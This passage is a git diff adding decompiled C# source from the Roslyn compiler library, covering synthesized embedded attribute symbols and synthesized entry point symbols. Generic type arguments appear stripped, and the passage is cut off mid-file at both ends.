SynthesizedEmbeddedAttributeSymbol : SynthesizedEmbeddedAttributeSymbolBase +{ + private readonly ImmutableArray _constructors; + + public override ImmutableArray Constructors => _constructors; + + public SynthesizedEmbeddedAttributeSymbol(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol baseType) + : base(name, containingNamespace, containingModule, baseType) + { + _constructors = ImmutableArray.Create((MethodSymbol)new SynthesizedEmbeddedAttributeConstructorSymbol(this, (MethodSymbol m) => ImmutableArray.Empty)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeSymbolBase.cs new file mode 100644 index 0000000..63f5316 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedAttributeSymbolBase.cs @@ -0,0 +1,252 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedEmbeddedAttributeSymbolBase : NamedTypeSymbol +{ + private readonly string _name; + + private readonly NamedTypeSymbol _baseType; + + private readonly NamespaceSymbol _namespace; + + private readonly ModuleSymbol _module; + + public new abstract ImmutableArray Constructors { get; } + + public override int Arity => 0; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override bool IsImplicitlyDeclared => true; + + public override NamedTypeSymbol ConstructedFrom => this; + + public override bool MightContainExtensionMethods => false; + + public override string Name => _name; + + public override IEnumerable MemberNames => Constructors.Select((MethodSymbol m) => m.Name); + + internal override bool HasDeclaredRequiredMembers => false; + + public override Accessibility DeclaredAccessibility => (Accessibility)4; + + public override TypeKind TypeKind => (TypeKind)2; + + public override Symbol ContainingSymbol => _namespace; + + internal override ModuleSymbol ContainingModule => _module; + + public override AssemblySymbol ContainingAssembly => _module.ContainingAssembly; + + public override NamespaceSymbol ContainingNamespace => _namespace; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsStatic => false; + + public override bool IsRefLikeType => false; + + public override bool IsReadOnly => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => true; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => ImmutableArray.Empty; + + internal override bool MangleName => false; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier AssociatedFileIdentifier => null; + + internal override bool HasCodeAnalysisEmbeddedAttribute => true; + + internal override bool IsInterpolatedStringHandlerType => false; + + internal override bool HasSpecialName => false; + + internal override bool IsComImport => false; + + internal override bool IsWindowsRuntimeImport => false; + + internal override bool ShouldAddWinRTMembers => false; + + public override bool IsSerializable => false; + + public sealed override bool AreLocalsZeroed => ContainingModule.AreLocalsZeroed; + + internal override TypeLayout Layout => default(TypeLayout); + + internal override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + internal override bool HasDeclarativeSecurity => false; + + internal override bool IsInterface => false; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => _baseType; + + internal override ObsoleteAttributeData ObsoleteAttributeData => null; + + internal sealed override bool IsRecord => false; + + internal sealed override bool IsRecordStruct => false; + + internal sealed override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + public SynthesizedEmbeddedAttributeSymbolBase(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol baseType) + { + _name = name; + _namespace = containingNamespace; + _module = containingModule; + _baseType = baseType; + } + + internal override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + return (ManagedKind)3; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedEmbeddedAttributeSymbol.cs", 133); + } + + public override ImmutableArray GetMembers() + { + return Constructors.CastArray(); + } + + public override ImmutableArray GetMembers(string name) + { + if (!(name == ".ctor")) + { + return ImmutableArray.Empty; + } + return Constructors.CastArray(); + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return AttributeUsageInfo.Default; + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return _baseType; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return GetMembers(); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + return GetMembers(name); + } + + internal override IEnumerable GetFieldsToEmit() + { + return SpecializedCollections.EmptyEnumerable(); + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return ImmutableArray.Empty; + } + + internal override IEnumerable GetSecurityInformation() + { + return null; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved = null) + { + return ImmutableArray.Empty; + } + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + Symbol.AddSynthesizedAttribute(ref attributes, ((PEModuleBuilder)moduleBuilder).Compilation.TrySynthesizeAttribute((WellKnownMember)112)); + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeEmbeddedAttribute()); + AttributeUsageInfo attributeUsageInfo = GetAttributeUsageInfo(); + if (attributeUsageInfo != AttributeUsageInfo.Default) + { + Symbol.AddSynthesizedAttribute(ref attributes, ((PEModuleBuilder)moduleBuilder).Compilation.SynthesizeAttributeUsageAttribute(((AttributeUsageInfo)(ref attributeUsageInfo)).ValidTargets, ((AttributeUsageInfo)(ref attributeUsageInfo)).AllowMultiple, ((AttributeUsageInfo)(ref attributeUsageInfo)).Inherited)); + } + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedEmbeddedAttributeSymbol.cs", 190); + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNativeIntegerAttributeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNativeIntegerAttributeSymbol.cs new file mode 100644 index 0000000..1fab906 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNativeIntegerAttributeSymbol.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedNativeIntegerAttributeSymbol : SynthesizedEmbeddedAttributeSymbolBase +{ + private readonly ImmutableArray _fields; + + private readonly ImmutableArray _constructors; + + private readonly TypeSymbol _boolType; + + private const string FieldName = "TransformFlags"; + + public override ImmutableArray Constructors => _constructors; + + public SynthesizedEmbeddedNativeIntegerAttributeSymbol(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol systemAttributeType, TypeSymbol boolType) + : base(name, containingNamespace, containingModule, systemAttributeType) + { + _boolType = boolType; + TypeWithAnnotations boolArrayType = TypeWithAnnotations.Create(ArrayTypeSymbol.CreateSZArray(boolType.ContainingAssembly, TypeWithAnnotations.Create(boolType))); + _fields = ImmutableArray.Create((FieldSymbol)new SynthesizedFieldSymbol(this, boolArrayType.Type, "TransformFlags", isPublic: true, isReadOnly: true)); + _constructors = ImmutableArray.Create((MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Empty, delegate(SyntheticBoundNodeFactory f, ArrayBuilder s, ImmutableArray p) + { + GenerateParameterlessConstructorBody(f, s); + }), (MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Create(SynthesizedParameterSymbol.Create(m, boolArrayType, 0, (RefKind)0, "", (ScopedKind)0)), delegate(SyntheticBoundNodeFactory f, ArrayBuilder s, ImmutableArray p) + { + GenerateBoolArrayConstructorBody(f, s, p); + })); + } + + internal override IEnumerable GetFieldsToEmit() + { + return _fields; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return new AttributeUsageInfo(AttributeTargets.Class | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Parameter | AttributeTargets.ReturnValue | AttributeTargets.GenericParameter, false, false); + } + + private void GenerateParameterlessConstructorBody(SyntheticBoundNodeFactory factory, ArrayBuilder statements) + { + statements.Add((BoundStatement)factory.ExpressionStatement(factory.AssignmentExpression(factory.Field(factory.This(), _fields.Single()), factory.Array(_boolType, ImmutableArray.Create((BoundExpression)factory.Literal(value: true)))))); + } + + private void GenerateBoolArrayConstructorBody(SyntheticBoundNodeFactory factory, ArrayBuilder statements, ImmutableArray parameters) + { + statements.Add((BoundStatement)factory.ExpressionStatement(factory.AssignmentExpression(factory.Field(factory.This(), _fields.Single()), factory.Parameter(parameters.Single())))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullableAttributeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullableAttributeSymbol.cs new file mode 100644 index 0000000..06f22f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullableAttributeSymbol.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedNullableAttributeSymbol : SynthesizedEmbeddedAttributeSymbolBase +{ + private readonly ImmutableArray _fields; + + private readonly ImmutableArray _constructors; + + private readonly TypeSymbol _byteTypeSymbol; + + private const string NullableFlagsFieldName = "NullableFlags"; + + public override ImmutableArray Constructors => _constructors; + + public SynthesizedEmbeddedNullableAttributeSymbol(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol systemAttributeType, TypeSymbol systemByteType) + : base(name, containingNamespace, containingModule, systemAttributeType) + { + _byteTypeSymbol = systemByteType; + TypeWithAnnotations annotatedByteType = TypeWithAnnotations.Create(systemByteType); + TypeWithAnnotations byteArrayType = TypeWithAnnotations.Create(ArrayTypeSymbol.CreateSZArray(systemByteType.ContainingAssembly, annotatedByteType)); + _fields = ImmutableArray.Create((FieldSymbol)new SynthesizedFieldSymbol(this, byteArrayType.Type, "NullableFlags", isPublic: true, isReadOnly: true)); + _constructors = ImmutableArray.Create((MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Create(SynthesizedParameterSymbol.Create(m, annotatedByteType, 0, (RefKind)0, "", (ScopedKind)0)), GenerateSingleByteConstructorBody), (MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Create(SynthesizedParameterSymbol.Create(m, byteArrayType, 0, (RefKind)0, "", (ScopedKind)0)), GenerateByteArrayConstructorBody)); + } + + internal override IEnumerable GetFieldsToEmit() + { + return _fields; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return new AttributeUsageInfo(AttributeTargets.Class | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Parameter | AttributeTargets.ReturnValue | AttributeTargets.GenericParameter, false, false); + } + + private void GenerateByteArrayConstructorBody(SyntheticBoundNodeFactory factory, ArrayBuilder statements, ImmutableArray parameters) + { + statements.Add((BoundStatement)factory.ExpressionStatement(factory.AssignmentExpression(factory.Field(factory.This(), _fields.Single()), factory.Parameter(parameters.Single())))); + } + + private void GenerateSingleByteConstructorBody(SyntheticBoundNodeFactory factory, ArrayBuilder statements, ImmutableArray parameters) + { + statements.Add((BoundStatement)factory.ExpressionStatement(factory.AssignmentExpression(factory.Field(factory.This(), _fields.Single()), factory.Array(_byteTypeSymbol, ImmutableArray.Create((BoundExpression)factory.Parameter(parameters.Single())))))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullableContextAttributeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullableContextAttributeSymbol.cs new file mode 100644 index 0000000..a19c8c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullableContextAttributeSymbol.cs @@ -0,0 +1,39 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedNullableContextAttributeSymbol : SynthesizedEmbeddedAttributeSymbolBase +{ + private readonly ImmutableArray _fields; + + private readonly ImmutableArray _constructors; + + public override ImmutableArray Constructors => _constructors; + + public SynthesizedEmbeddedNullableContextAttributeSymbol(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol systemAttributeType, TypeSymbol systemByteType) + : base(name, containingNamespace, containingModule, systemAttributeType) + { + _fields = ImmutableArray.Create((FieldSymbol)new SynthesizedFieldSymbol(this, systemByteType, "Flag", isPublic: true, isReadOnly: true)); + _constructors = ImmutableArray.Create((MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Create(SynthesizedParameterSymbol.Create(m, TypeWithAnnotations.Create(systemByteType), 0, (RefKind)0, "", (ScopedKind)0)), GenerateConstructorBody)); + } + + internal override IEnumerable GetFieldsToEmit() + { + return _fields; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return new AttributeUsageInfo(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Method | AttributeTargets.Interface | AttributeTargets.Delegate, false, false); + } + + private void GenerateConstructorBody(SyntheticBoundNodeFactory factory, ArrayBuilder statements, ImmutableArray parameters) + { + statements.Add((BoundStatement)factory.ExpressionStatement(factory.AssignmentExpression(factory.Field(factory.This(), _fields.Single()), factory.Parameter(parameters.Single())))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol.cs new file mode 100644 index 0000000..a2db9b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol.cs @@ -0,0 +1,39 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol : SynthesizedEmbeddedAttributeSymbolBase +{ + private readonly ImmutableArray _fields; + + private readonly ImmutableArray _constructors; + + public override ImmutableArray Constructors => _constructors; + + public SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol systemAttributeType, TypeSymbol systemBooleanType) + : base(name, containingNamespace, containingModule, systemAttributeType) + { + _fields = ImmutableArray.Create((FieldSymbol)new SynthesizedFieldSymbol(this, systemBooleanType, "IncludesInternals", isPublic: true, isReadOnly: true)); + _constructors = ImmutableArray.Create((MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Create(SynthesizedParameterSymbol.Create(m, TypeWithAnnotations.Create(systemBooleanType), 0, (RefKind)0, "", (ScopedKind)0)), GenerateConstructorBody)); + } + + internal override IEnumerable GetFieldsToEmit() + { + return _fields; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return new AttributeUsageInfo(AttributeTargets.Module, false, false); + } + + private void GenerateConstructorBody(SyntheticBoundNodeFactory factory, ArrayBuilder statements, ImmutableArray parameters) + { + statements.Add((BoundStatement)factory.ExpressionStatement(factory.AssignmentExpression(factory.Field(factory.This(), _fields.Single()), factory.Parameter(parameters.Single())))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedRefSafetyRulesAttributeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedRefSafetyRulesAttributeSymbol.cs new file mode 100644 index 0000000..898684a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedRefSafetyRulesAttributeSymbol.cs @@ -0,0 +1,39 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedRefSafetyRulesAttributeSymbol : SynthesizedEmbeddedAttributeSymbolBase +{ + private readonly ImmutableArray _fields; + + private readonly ImmutableArray _constructors; + + public override ImmutableArray Constructors => _constructors; + + public SynthesizedEmbeddedRefSafetyRulesAttributeSymbol(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol systemAttributeType, TypeSymbol int32Type) + : base(name, containingNamespace, containingModule, systemAttributeType) + { + _fields = ImmutableArray.Create((FieldSymbol)new SynthesizedFieldSymbol(this, int32Type, "Version", isPublic: true, isReadOnly: true)); + _constructors = ImmutableArray.Create((MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Create(SynthesizedParameterSymbol.Create(m, TypeWithAnnotations.Create(int32Type), 0, (RefKind)0, "", (ScopedKind)0)), GenerateConstructorBody)); + } + + internal override IEnumerable GetFieldsToEmit() + { + return _fields; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return new AttributeUsageInfo(AttributeTargets.Module, false, false); + } + + private void GenerateConstructorBody(SyntheticBoundNodeFactory factory, ArrayBuilder statements, ImmutableArray parameters) + { + statements.Add((BoundStatement)factory.ExpressionStatement(factory.AssignmentExpression(factory.Field(factory.This(), _fields.Single()), factory.Parameter(parameters.Single())))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedScopedRefAttributeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedScopedRefAttributeSymbol.cs new file mode 100644 index 0000000..4945a63 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEmbeddedScopedRefAttributeSymbol.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedEmbeddedScopedRefAttributeSymbol : SynthesizedEmbeddedAttributeSymbolBase +{ + private readonly ImmutableArray _constructors; + + public override ImmutableArray Constructors => _constructors; + + public SynthesizedEmbeddedScopedRefAttributeSymbol(string name, NamespaceSymbol containingNamespace, ModuleSymbol containingModule, NamedTypeSymbol systemAttributeType) + : base(name, containingNamespace, containingModule, systemAttributeType) + { + _constructors = ImmutableArray.Create((MethodSymbol)new SynthesizedEmbeddedAttributeConstructorWithBodySymbol(this, (MethodSymbol m) => ImmutableArray.Empty, delegate + { + })); + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return new AttributeUsageInfo(AttributeTargets.Parameter, false, false); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEntryPointSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEntryPointSymbol.cs new file mode 100644 index 0000000..94b0136 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedEntryPointSymbol.cs @@ -0,0 +1,364 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedEntryPointSymbol : MethodSymbol +{ + internal sealed class AsyncForwardEntryPoint : SynthesizedEntryPointSymbol + { + private readonly CSharpSyntaxNode _userMainReturnTypeSyntax; + + private readonly BoundExpression _getAwaiterGetResultCall; + + private readonly ImmutableArray _parameters; + + internal readonly MethodSymbol UserMain; + + public override string Name => "
"; + + public override ImmutableArray Parameters => _parameters; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(_getAwaiterGetResultCall.Type); + + internal AsyncForwardEntryPoint(CSharpCompilation compilation, NamedTypeSymbol containingType, MethodSymbol userMain) + : base(containingType) + { + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + UserMain = userMain; + _userMainReturnTypeSyntax = userMain.ExtractReturnTypeSyntax(); + Binder binder = compilation.GetBinder(_userMainReturnTypeSyntax); + _parameters = SynthesizedParameterSymbol.DeriveParameters(userMain, this); + BoundCall expression = new BoundCall(arguments: ImmutableArrayExtensions.SelectAsArray(Parameters, (Func)((ParameterSymbol p, CSharpSyntaxNode s) => new BoundParameter((SyntaxNode)(object)s, p, p.Type)), _userMainReturnTypeSyntax), syntax: (SyntaxNode)(object)_userMainReturnTypeSyntax, receiverOpt: null, initialBindingReceiverIsSubjectToCloning: (ThreeState)0, method: userMain, argumentNamesOpt: default(ImmutableArray), argumentRefKindsOpt: default(ImmutableArray), isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, argsToParamsOpt: default(ImmutableArray), defaultArguments: default(BitVector), resultKind: LookupResultKind.Viable, type: userMain.ReturnType) + { + WasCompilerGenerated = true + }; + binder.GetAwaitableExpressionInfo(expression, out _getAwaiterGetResultCall, (SyntaxNode)(object)_userMainReturnTypeSyntax, BindingDiagnosticBag.Discarded); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + Symbol.AddSynthesizedAttribute(ref attributes, DeclaringCompilation.SynthesizeDebuggerStepThroughAttribute()); + } + + internal override BoundBlock CreateBody(BindingDiagnosticBag diagnostics) + { + CSharpSyntaxNode userMainReturnTypeSyntax = _userMainReturnTypeSyntax; + if (ReturnsVoid) + { + return new BoundBlock((SyntaxNode)(object)userMainReturnTypeSyntax, ImmutableArray.Empty, ImmutableArray.Create((BoundStatement)new BoundExpressionStatement((SyntaxNode)(object)userMainReturnTypeSyntax, _getAwaiterGetResultCall) + { + WasCompilerGenerated = true + }, (BoundStatement)new BoundReturnStatement((SyntaxNode)(object)userMainReturnTypeSyntax, (RefKind)0, null, @checked: false) + { + WasCompilerGenerated = true + })) + { + WasCompilerGenerated = true + }; + } + return new BoundBlock((SyntaxNode)(object)userMainReturnTypeSyntax, ImmutableArray.Empty, ImmutableArray.Create((BoundStatement)new BoundReturnStatement((SyntaxNode)(object)userMainReturnTypeSyntax, (RefKind)0, _getAwaiterGetResultCall, @checked: false))) + { + WasCompilerGenerated = true + }; + } + } + + private sealed class ScriptEntryPoint : SynthesizedEntryPointSymbol + { + private readonly TypeWithAnnotations _returnType; + + public override string Name => "
"; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _returnType; + + internal ScriptEntryPoint(NamedTypeSymbol containingType, TypeWithAnnotations returnType) + : base(containingType) + { + _returnType = returnType; + } + + internal override BoundBlock CreateBody(BindingDiagnosticBag diagnostics) + { + CSharpSyntaxNode cSharpSyntaxNode = DummySyntax(); + CSharpCompilation declaringCompilation = _containingType.DeclaringCompilation; + Binder next = WithUsingNamespacesAndTypesBinder.Create(declaringCompilation.GlobalImports, new BuckStopsHereBinder(declaringCompilation, null), withImportChainEntry: true); + next = new InContainerBinder(declaringCompilation.GlobalNamespace, next); + SynthesizedInstanceConstructor scriptConstructor = _containingType.GetScriptConstructor(); + SynthesizedInteractiveInitializerMethod scriptInitializer = _containingType.GetScriptInitializer(); + BoundLocal boundLocal = new BoundLocal((SyntaxNode)(object)cSharpSyntaxNode, new SynthesizedLocal(this, TypeWithAnnotations.Create(_containingType), (SynthesizedLocalKind)(-2), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0), null, _containingType) + { + WasCompilerGenerated = true + }; + BoundCall expression = CreateParameterlessCall(cSharpSyntaxNode, boundLocal, (ThreeState)1, scriptInitializer); + if (!next.GetAwaitableExpressionInfo(expression, out BoundExpression getAwaiterGetResultCall, (SyntaxNode)(object)cSharpSyntaxNode, diagnostics)) + { + return new BoundBlock((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArray.Empty, ImmutableArray.Empty, hasErrors: true); + } + return new BoundBlock((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundStatement)new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, new BoundAssignmentOperator((SyntaxNode)(object)cSharpSyntaxNode, boundLocal, new BoundObjectCreationExpression((SyntaxNode)(object)cSharpSyntaxNode, scriptConstructor) + { + WasCompilerGenerated = true + }, _containingType) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = true + }, (BoundStatement)new BoundExpressionStatement((SyntaxNode)(object)cSharpSyntaxNode, getAwaiterGetResultCall) + { + WasCompilerGenerated = true + }, (BoundStatement)new BoundReturnStatement((SyntaxNode)(object)cSharpSyntaxNode, (RefKind)0, null, @checked: false) + { + WasCompilerGenerated = true + })) + { + WasCompilerGenerated = true + }; + } + } + + private sealed class SubmissionEntryPoint : SynthesizedEntryPointSymbol + { + private readonly ImmutableArray _parameters; + + private readonly TypeWithAnnotations _returnType; + + public override string Name => ""; + + public override ImmutableArray Parameters => _parameters; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _returnType; + + internal SubmissionEntryPoint(NamedTypeSymbol containingType, TypeWithAnnotations returnType, TypeSymbol submissionArrayType) + : base(containingType) + { + _parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(submissionArrayType), 0, (RefKind)0, "submissionArray", (ScopedKind)0)); + _returnType = returnType; + } + + internal override BoundBlock CreateBody(BindingDiagnosticBag diagnostics) + { + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode syntax = DummySyntax(); + SynthesizedInstanceConstructor scriptConstructor = _containingType.GetScriptConstructor(); + SynthesizedInteractiveInitializerMethod 